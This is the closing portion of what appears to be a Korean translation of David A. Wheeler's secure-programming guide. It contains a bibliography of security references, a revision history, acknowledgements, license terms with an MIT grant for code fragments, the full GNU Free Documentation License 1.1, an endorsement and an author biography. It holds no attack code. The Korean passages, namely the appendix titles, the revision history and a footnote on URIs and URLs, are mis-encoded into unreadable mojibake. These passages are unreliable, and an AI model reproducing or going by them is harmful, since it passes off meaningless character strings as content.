[Pfleeger 1997] Pfleeger, Charles P. 1997. Security in Computing. Upper Saddle River, NJ: Prentice-Hall PTR. ISBN 0-13-337486-6.

[Phillips 1995] Phillips, Paul. September 3, 1995. Safe CGI Programming. http://www.go2net.com/people/paulp/cgi-security/safe-cgi.txt

[Quintero 1999] Quintero, Federico Mena, Miguel de Icaza, and Morten Welinder GNOME Programming Guidelines http://developer.gnome.org/doc/guides/programming-guidelines/book1.html

[Raymond 1997] Raymond, Eric. 1997. The Cathedral and the Bazaar. http://www.tuxedo.org/~esr/writings/cathedral-bazaar

[Raymond 1998] Raymond, Eric. April 1998. Homesteading the Noosphere. http://www.tuxedo.org/~esr/writings/homesteading/homesteading.html

[Ranum 1998] Ranum, Marcus J. 1998. Security-critical coding for programmers - a C and UNIX-centric full-day tutorial. http://www.clark.net/pub/mjr/pubs/pdf/.

[RFC 822] August 13, 1982 Standard for the Format of ARPA Internet Text Messages. IETF RFC 822. http://www.ietf.org/rfc/rfc0822.txt.

[rfp 1999] rain.forest.puppy. 1999. ``Perl CGI problems''. Phrack Magazine. Issue 55, Article 07. http://www.phrack.com/search.phtml?view&article=p55-7 or http://www.insecure.org/news/P55-07.txt.

[Rijmen 2000] Rijmen, Vincent. "LinuxSecurity.com Speaks With AES Winner". http://www.linuxsecurity.com/feature_stories/interview-aes-3.html.

[Rochkind 1985]. Rochkind, Marc J. Advanced Unix Programming. Englewood Cliffs, NJ: Prentice-Hall, Inc. ISBN 0-13-011818-4.

[St. Laurent 2000] St. Laurent, Simon. February 2000. XTech 2000 Conference Reports. ``When XML Gets Ugly''. http://www.xml.com/pub/2000/02/xtech/megginson.html.

[Saltzer 1974] Saltzer, J. July 1974. ``Protection and the Control of Information Sharing in MULTICS''. Communications of the ACM. v17 n7. pp. 388-402.

[Saltzer 1975] Saltzer, J., and M. Schroeder. September 1975. ``The Protection of Information in Computing Systems''. Proceedings of the IEEE. v63 n9. pp. 1278-1308. http://www.mediacity.com/~norm/CapTheory/ProtInf. Summarized in [Pfleeger 1997, 286].

Schneider, Fred B. 2000. "Open Source in Security: Visting the Bizarre." Proceedings of the 2000 IEEE Symposium on Security and Privacy (the ``Oakland Conference''), May 14-17, 2000, Berkeley, CA. Los Alamitos, CA: IEEE Computer Society. pp.126-127.

[Schneier 1996] Schneier, Bruce. 1996. Applied Cryptography, Second Edition: Protocols, Algorithms, and Source Code in C. New York: John Wiley and Sons. ISBN 0-471-12845-7.

[Schneier 1998] Schneier, Bruce and Mudge. November 1998. Cryptanalysis of Microsoft's Point-to-Point Tunneling Protocol (PPTP) Proceedings of the 5th ACM Conference on Communications and Computer Security, ACM Press. http://www.counterpane.com/pptp.html.

[Schneier 1999] Schneier, Bruce. September 15, 1999. ``Open Source and Security''. Crypto-Gram. Counterpane Internet Security, Inc. http://www.counterpane.com/crypto-gram-9909.html

[Seifried 1999] Seifried, Kurt. October 9, 1999. Linux Administrator's Security Guide. http://www.securityportal.com/lasg.

[Seifried 2001] Seifried, Kurt. September 2, 2001. WWW Authentication http://www.seifried.org/security/www-auth/index.html.

[Shankland 2000] Shankland, Stephen. ``Linux poses increasing threat to Windows 2000''. CNET. http://news.cnet.com/news/0-1003-200-1549312.html

[Shostack 1999] Shostack, Adam. June 1, 1999. Security Code Review Guidelines. http://www.homeport.org/~adam/review.html.

[Sibert 1996] Sibert, W. Olin. Malicious Data and Computer Security. (NIST) NISSC '96. http://www.fish.com/security/maldata.html

[Sitaker 1999] Sitaker, Kragen. Feb 26, 1999. How to Find Security Holes http://www.pobox.com/~kragen/security-holes.html and http://www.dnaco.net/~kragen/security-holes.html

[SSE-CMM 1999] SSE-CMM Project. April 1999. Systems Security Engineering Capability Maturity Model (SSE CMM) Model Description Document. Version 2.0. http://www.sse-cmm.org

[Stallings 1996] Stallings, William. Practical Cryptography for Data Internetworks. Los Alamitos, CA: IEEE Computer Society Press. ISBN 0-8186-7140-8.

[Stein 1999]. Stein, Lincoln D. September 13, 1999. The World Wide Web Security FAQ. Version 2.0.1 http://www.w3.org/Security/Faq/www-security-faq.html

[Swan 2001] Swan, Daniel. January 6, 2001. comp.os.linux.security FAQ. Version 1.0. http://www.linuxsecurity.com/docs/colsfaq.html.

[Swanson 1996] Swanson, Marianne, and Barbara Guttman. September 1996. Generally Accepted Principles and Practices for Securing Information Technology Systems. NIST Computer Security Special Publication (SP) 800-14. http://csrc.nist.gov/publications/nistpubs/index.html.

[Thompson 1974] Thompson, K. and D.M. Richie. July 1974. ``The UNIX Time-Sharing System''. Communications of the ACM Vol. 17, No. 7. pp. 365-375.

[Torvalds 1999] Torvalds, Linus. February 1999. ``The Story of the Linux Kernel''. Open Sources: Voices from the Open Source Revolution. Edited by Chris Dibona, Mark Stone, and Sam Ockman. O'Reilly and Associates. ISBN 1565925823. http://www.oreilly.com/catalog/opensources/book/linus.html

[TruSecure 2001] TruSecure. August 2001. Open Source Security: A Look at the Security Benefits of Source Code Access. http://www.trusecure.com/html/tspub/whitepapers/open_source_security5.pdf

[Unknown] SETUID(7) http://www.homeport.org/~adam/setuid.7.html.

[Van Biesbrouck 1996] Van Biesbrouck, Michael. April 19, 1996. http://www.csclub.uwaterloo.ca/u/mlvanbie/cgisec.

[van Oorschot 1994] van Oorschot, P. and M. Wiener. November 1994. ``Parallel Collision Search with Applications to Hash Functions and Discrete Logarithms.'' Proceedings of ACM Conference on Computer and Communications Security.

[Venema 1996] Venema, Wietse. 1996. Murphy's law and computer security. http://www.fish.com/security/murphy.html

[Watters 1996] Watters, Arron, Guido van Rossum, James C. Ahlstrom. 1996. Internet Programming with Python. NY, NY: Henry Hold and Company, Inc.

[Witten 2001] September/October 2001. Witten, Brian, Carl Landwehr, and Michael Caloyannides. ``Does Open Source Improve System Security?'' IEEE Software. pp. 57-61. http://www.computer.org/software

[Wood 1985] Wood, Patrick H. and Stephen G. Kochan. 1985. Unix System Security. Indianapolis, Indiana: Hayden Books. ISBN 0-8104-6267-2.

[Wreski 1998] Wreski, Dave. August 22, 1998. Linux Security Administrator's Guide. Version 0.98. http://www.nic.com/~dave/SecurityAdminGuide/index.html

[Yoder 1998] Yoder, Joseph and Jeffrey Barcalow. 1998. Architectural Patterns for Enabling Application Security. PLoP '97 http://st-www.cs.uiuc.edu/~hanmer/PLoP-97/Proceedings/yoder.pdf

[Zalewski 2001] Zalewski, Michael. May 16-17, 2001. Delivering Signals for Fun and Profit: Understanding, exploiting and preventing signal-handling related vulnerabilities. Bindview Corporation. http://razor.bindview.com/publish/papers/signals.txt

[Zoebelein 1999] Zoebelein, Hans U. April 1999. The Internet Operating System Counter. http://www.leb.net/hzo/ioscount.


부록 A. Ã¥ ¹ßÇ¥ ±â·Ï

´ÙÀ½Àº ÀÌ Ã¥ °³¹ß¿¡ ÀÖ¾î ¾à°£ÀÇ ÁÖ¿ä »ç°ÇÀ» °¡Àå ÃÖ±ÙºÎÅÍ ¼³¸íÇÑ °ÍÀÌ´Ù:

2001-01-01 David A. Wheeler

¹öÀü 2.70 ÀÌ ¹ßÇ¥µÇ¾ú´Âµ¥ ±³Â÷ »çÀÌÆ®ÀÇ ¾ÇÀÇÀÖ´Â ÄÁÅÙÆ®, HTML/URI ÇÊÅ͸µ ¹× Àӽà ÆÄÀÏ ´Ù·ç±â¿¡ °üÇÑ ³íÀǰ¡ »ó´çÈ÷ È®ÀåµÈ °Í°ú °°ÀÌ »ó´çÇÑ ¾çÀÇ Ãß°¡ÀûÀÎ ÀÚ·á°¡ Ãß°¡µÇ¾ú´Ù.

2000-05-24 David A. Wheeler

GNU ÀÇ GFDL ¶óÀ̼¾½º·Î º¯°æµÇ¾úÀ¸¸ç ´õ¿í ¸¹Àº ³»¿ëÀÌ Ãß°¡µÇ¾ú´Ù.

2000-04-21 David A. Wheeler

2000³â 4¿ù 21ÀÏ ¹öÀü 2.00 ÀÌ ¹ßÇ¥µÇ¾ú´Âµ¥ ¹®¼­ ³»ºÎ Æ÷¸ËÀÌ Linuxdoc DTD ¿¡¼­ DocBook DTD ·Î º¯°æµÇ¾ú´Ù. ÀÌ º¯È¯¿¡ µµ¿òÀ» ÁØ Jorge Godoy ¿¡°Ô °¨»çµå¸°´Ù.

2000-04-04 David A. Wheeler

¹öÀü 1.60 ÀÌ ¹ßÇ¥µÇ¾úÀ¸¸ç ¸®´ª½º¿Í À¯´Ð½º µÑ ´Ù¸¦ ´Ù·ç±â À§ÇØ º¯°æµÇ¾ú´Ù. ÁöħµéÀÇ ´ëºÎºÐÀÌ µÑ ´Ù¸¦ ´Ù·ç°í ¸¹Àº/´ëºÎºÐÀÇ ¾ÖÇø®ÄÉÀÌ¼Ç °³¹ßÀÚµéÀÌ ±×µéÀÇ ¾ÖÇø®ÄÉÀ̼ÇÀ» µÎ Ç÷§Æû ¸ðµÎ¿¡¼­ ÀÛµ¿½ÃŰ±æ ¿øÇϱ⠶§¹®¿¡ ÀÌ´Â ÇÕ´çÇÑ °ÍÀ̾ú´Ù.

2000-02-09 David A. Wheeler

¹®¼­°¡ ¸®´ª½º ¹®¼­È­ ÇÁ·ÎÁ§Æ® (Linux Documentation Project, LDP) ÀÇ ºÎºÐÀÓÀÌ ¾ð±ÞµÇ¾ú´Ù.

1999-11-29 David A. Wheeler

ÃÖÃÊ ¹öÀü 1.0 ÀÌ ¿Ï¼ºµÇ¾î ´ëÁß¿¡°Ô ¹ßÇ¥µÇ¾ú´Ù.

º¯°æ »çÇ׿¡ ´ëÇÑ ´õ¿í ¼¼ºÎÀûÀÎ ¼³¸íÀº ``ChangeLog" ÆÄÀÏ¿¡¼­ ¿Â¶óÀÎÀ¸·Î ¾òÀ» ¼ö ÀÖÀ½À» ÁÖ¸ñÇØ¶ó.


부록 B. °¨»çÀÇ ±Û

 

As iron sharpens iron, so one man sharpens another.

 Proverbs 27:17 (NIV)

My thanks to the following people who kept me honest by sending me emails noting errors, suggesting areas to cover, asking questions, and so on. Where email addresses are included, they've been shrouded by prepending my ``thanks.'' so bulk emailers won't easily get these addresses; inclusion of people in this list is not an authorization to send unsolicited bulk email to them.

  • Neil Brown (thanks.neilb@cse.unsw.edu.au)

  • Martin Douda (thanks.mad@students.zcu.cz)

  • Jorge Godoy

  • Scott Ingram (thanks.scott@silver.jhuapl.edu)

  • Michael Kerrisk

  • Doug Kilpatrick

  • John Levon (moz@compsoc.man.ac.uk)

  • Ryan McCabe (thanks.odin@numb.org)

  • Paul Millar (thanks.paulm@astro.gla.ac.uk)

  • Chuck Phillips (thanks.cdp@peakpeak.com)

  • Martin Pool (thanks.mbp@humbug.org.au)

  • Eric S. Raymond (thanks.esr@snark.thyrsus.com)

  • Marc Welz

  • Eric Werme (thanks.werme@alpha.zk3.dec.com)

If you want to be on this list, please send me a constructive suggestion at dwheeler@dwheeler.com. If you send me a constructive suggestion, but do not want credit, please let me know that when you send your suggestion, comment, or criticism; normally I expect that people want credit, and I want to give them that credit. My current process is to add contributor names to this list in the document, with more detailed explanation of their comment in the ChangeLog for this document (available on-line). Note that although these people have sent in ideas, the actual text is my own, so don't blame them for any errors that may remain. Instead, please send me another constructive suggestion.


부록 C. ¹®¼­ÀÇ ¶óÀ̼¾½º

 

A copy of the text of the edict was to be issued as law in every province and made known to the people of every nationality so they would be ready for that day.

 Esther 3:14 (NIV)

This document is Copyright (C) 1999-2000 David A. Wheeler. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License (FDL), Version 1.1 or any later version published by the Free Software Foundation; with the invariant sections being ``About the Author'', with no Front-Cover Texts, and no Back-Cover texts. A copy of the license is included below in 부록 D.

These terms do permit mirroring by other web sites, but be sure to do the following:

  • make sure your mirrors automatically get upgrades from the master site,

  • clearly show the location of the master site (http://www.dwheeler.com/secure-programs), with a hypertext link to the master site, and

  • give me (David A. Wheeler) credit as the author.

The first two points primarily protect me from repeatedly hearing about obsolete bugs. I do not want to hear about bugs I fixed a year ago, just because you are not properly mirroring the document. By linking to the master site, users can check and see if your mirror is up-to-date. I'm sensitive to the problems of sites which have very strong security requirements and therefore cannot risk normal connections to the Internet; if that describes your situation, at least try to meet the other points and try to occasionally sneakernet updates into your environment.

By this license, you may modify the document, but you can't claim that what you didn't write is yours (i.e., plagiarism) nor can you pretend that a modified version is identical to the original work. Modifying the work does not transfer copyright of the entire work to you; this is not a ``public domain'' work in terms of copyright law. See the license in 부록 D for details. If you have questions about what the license allows, please contact me. In most cases, it's better if you send your changes to the master integrator (currently David A. Wheeler), so that your changes will be integrated with everyone else's changes into the master copy.

I am not a lawyer, nevertheless, it's my position as an author and software developer that any code fragments not explicitly marked otherwise are so small that their use fits under the ``fair use'' doctrine in copyright law. In other words, unless marked otherwise, you can use the code fragments without any restriction at all. Copyright law does not permit copyrighting absurdly small components of a work (e.g., ``I own all rights to B-flat and B-flat minor chords''), and the fragments not marked otherwise are of the same kind of minuscule size when compared to real programs. I've done my best to give credit for specific pieces of code written by others. Some of you may still be concerned about the legal status of this code, and I want make sure that it's clear that you can use this code in your software. Therefore, code fragments included directly in this document not otherwise marked have also been released by me under the terms of the ``MIT license'', to ensure you that there's no serious legal encumbrance:

  Source code in this book not otherwise identified is
  Copyright (c) 1999-2001 David A. Wheeler.

  Permission is hereby granted, free of charge, to any person
  obtaining a copy of the source code in this book not
  otherwise identified (the "Software"), to deal in the
  Software without restriction, including without limitation
  the rights to use, copy, modify, merge, publish, distribute,
  sublicense, and/or sell copies of the Software, and to
  permit persons to whom the Software is furnished to do so,
  subject to the following conditions:

  The above copyright notice and this permission notice shall be
  included in all copies or substantial portions of the Software.

  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
  EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
  WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
  PURPOSE AND NONINFRINGEMENT.
  IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
  LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
  WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
  ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE
  OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

부록 D. GNU Free Documentation License

Version 1.1, March 2000

Copyright 2000

      Free Software Foundation, Inc. 
      59 Temple Place, Suite 330
      Boston
      MA  
      02111-1307  
      USA
    

Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

0. PREAMBLE

The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

1. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document" , below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

2. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

3. COPYING IN QUANTITY

If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

4. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

  1. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.

  2. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).

  3. State on the Title Page the name of the publisher of the Modified Version, as the publisher.

  4. Preserve all the copyright notices of the Document.

  5. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.

  6. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.

  7. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

  8. Include an unaltered copy of this License.

  9. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.

  10. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.

  11. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.

  12. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.

  13. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.

  14. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version .

5. COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."

6. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

7. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document , on account of their being thus compiled, if they are not themselves derivative works of the Document. If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.

8. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.

9. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

10. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

Addendum

To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:

Copyright YEAR YOUR NAME.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".

If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.

If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.


부록 E. ½ÂÀÎ

This version of the document is endorsed by the original author, David A. Wheeler, as a document that should improve the security of programs. when applied correctly. Modifications (including translations) must remove this appendix per the license agreement included above.


부록 F. ÀúÀÚ

David A. Wheeler is an expert in computer security and has long specialized in development techniques for large and high-risk software systems. He has been involved in software development since the mid-1970s, and been involved with Unix and computer security since the early 1980s. His areas of knowledge include computer security, software safety, vulnerability analysis, inspections, Internet technologies, software-related standards (including POSIX), real-time software development techniques, and numerous computer languages (including Ada, C, C++, Perl, Python, and Java).

Mr. Wheeler is co-author and lead editor of the IEEE book Software Inspection: An Industry Best Practice, author of the book Ada95: The Lovelace Tutorial, and co-author of the GNOME User's Guide. He is also the author of many smaller papers and articles, including the Linux Program Library HOWTO.

Mr. Wheeler hopes that, by making this document available, other developers will make their software more secure. You can reach him by email at dwheeler@dwheeler.com (no spam please), and you can also see his web site at http://www.dwheeler.com.

주석

[1]

±â¼úÀûÀ¸·Î ÇÏÀÌÆÛÅØ½ºÆ® ¸µÅ©´Â ¸ðµç "uniform resource identifier" (URI) ÀÏ ¼ö ÀÖ´Ù. "Uniform Resource Locator" (URL) Àº À̸§ ¶Ç´Â ÀÚ¿øÀÇ ¾î¶² ´Ù¸¥ ¼Ó¼º¿¡ ÀÇÇØ ÀÚ¿øÀ» ½Äº°ÇѴٱ⠺¸´Ù´Â URI ÀÇ ±âº» Á¢±Ù ¸ÞÄ«´ÏÁò (¿¹, ³×Æ®¿öÅ© "location") ÀÇ Ç¥ÇöÀ» ÅëÇØ ÀÚ¿øÀ» ½Äº°ÇÏ´Â URIs ÀÇ ºÎºÐ ÁýÇÕÀ» ÂüÁ¶ÇÑ´Ù. ¸¹Àº »ç¶÷µéÀº URLs ÀÌ °¡Àå ³Î¸® »ç¿ëµÇ°í ÀÖ´Â URI ÀÇ À¯ÇüÀ̱⠶§¹®¿¡ "URL" À» "URI" ¿Í µ¿ÀǾî·Î¼­ »ç¿ëÇϰí ÀÖ´Ù. ¿¹¸¦ µé¾î URIs ¿¡¼­ »ç¿ëµÈ ÀÎÄÚµùÀº ½ÇÁ¦·Î "URL ÀÎÄÚµù" À̶ó°í ºÎ¸¥´Ù.

EmailÀ» ±âÀÔÇϸé, ´ñ±ÛÀÌ ¸ÞÀÏ·Î Àü´ÞµË´Ï´Ù.